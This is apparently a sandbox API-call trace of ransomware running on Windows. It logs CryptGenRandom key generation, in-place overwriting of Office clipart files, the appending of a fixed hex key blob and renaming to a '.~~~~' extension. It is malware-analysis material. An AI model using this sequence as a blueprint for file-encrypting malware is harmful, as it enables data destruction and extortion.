	[0105.518] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.518] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.518] CloseHandle (hObject=0x144) returned 1
	[0105.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.518] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.~~~~")) returned 1
	[0105.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.728] GetLastError () returned 0x0
	[0105.728] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.729] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.730] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.730] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22571988100) returned 1
	[0105.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8b30a90, dwHighDateTime=0x1d60e1e)) 
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d1d8
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d1d8 | out: hHeap=0x300000) returned 1
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867f30
	[0105.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.730] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.731] GetLastError () returned 0x0
	[0105.731] GetLastError () returned 0x0
	[0105.731] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.731] GetLastError () returned 0x0
	[0105.731] GetLastError () returned 0x0
	[0105.736] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe438, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.736] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1bc8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1bc8, lpOverlapped=0x0) returned 1
	[0105.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.737] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.737] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.737] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.737] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.737] CloseHandle (hObject=0x144) returned 1
	[0105.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.738] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.~~~~")) returned 1
	[0105.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.739] GetLastError () returned 0x0
	[0105.740] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.741] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.741] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.742] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22573177643) returned 1
	[0105.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8b30a90, dwHighDateTime=0x1d60e1e)) 
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d210
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d210 | out: hHeap=0x300000) returned 1
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28720a0
	[0105.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.742] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.743] GetLastError () returned 0x0
	[0105.743] GetLastError () returned 0x0
	[0105.743] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.743] GetLastError () returned 0x0
	[0105.743] GetLastError () returned 0x0
	[0105.752] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffecb8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.752] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1348, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1348, lpOverlapped=0x0) returned 1
	[0105.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.761] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.764] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.766] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.766] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.766] CloseHandle (hObject=0x144) returned 1
	[0105.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.766] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.~~~~")) returned 1
	[0105.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.769] GetLastError () returned 0x0
	[0105.769] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.770] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.771] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.771] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22576096552) returned 1
	[0105.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8b7cd50, dwHighDateTime=0x1d60e1e)) 
	[0105.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d248
	[0105.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d248 | out: hHeap=0x300000) returned 1
	[0105.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872138
	[0105.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.772] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.772] GetLastError () returned 0x0
	[0105.772] GetLastError () returned 0x0
	[0105.772] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.772] GetLastError () returned 0x0
	[0105.772] GetLastError () returned 0x0
	[0105.942] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe8e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.942] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1720, lpOverlapped=0x0) returned 1
	[0105.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.946] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.946] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.946] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.946] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.946] CloseHandle (hObject=0x144) returned 1
	[0106.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0106.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.~~~~")) returned 1
	[0106.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.032] GetLastError () returned 0x0
	[0106.032] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.033] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.033] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.034] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22602367898) returned 1
	[0106.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8e044b0, dwHighDateTime=0x1d60e1e)) 
	[0106.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d408
	[0106.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d408 | out: hHeap=0x300000) returned 1
	[0106.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0106.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28721d0
	[0106.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.034] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.034] GetLastError () returned 0x0
	[0106.035] GetLastError () returned 0x0
	[0106.035] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.035] GetLastError () returned 0x0
	[0106.035] GetLastError () returned 0x0
	[0106.038] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff6d2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.039] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x92e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x92e, lpOverlapped=0x0) returned 1
	[0106.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.040] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.040] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.040] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.040] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.040] CloseHandle (hObject=0x138) returned 1
	[0106.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0106.041] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.~~~~")) returned 1
	[0106.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.042] GetLastError () returned 0x0
	[0106.042] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.043] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.043] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.043] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22603386436) returned 1
	[0106.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8e2a610, dwHighDateTime=0x1d60e1e)) 
	[0106.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d440
	[0106.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d440 | out: hHeap=0x300000) returned 1
	[0106.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0106.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872728
	[0106.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.044] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.045] GetLastError () returned 0x0
	[0106.045] GetLastError () returned 0x0
	[0106.045] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.045] GetLastError () returned 0x0
	[0106.045] GetLastError () returned 0x0
	[0106.046] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff5b2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.047] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xa4e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0xa4e, lpOverlapped=0x0) returned 1
	[0106.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.047] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
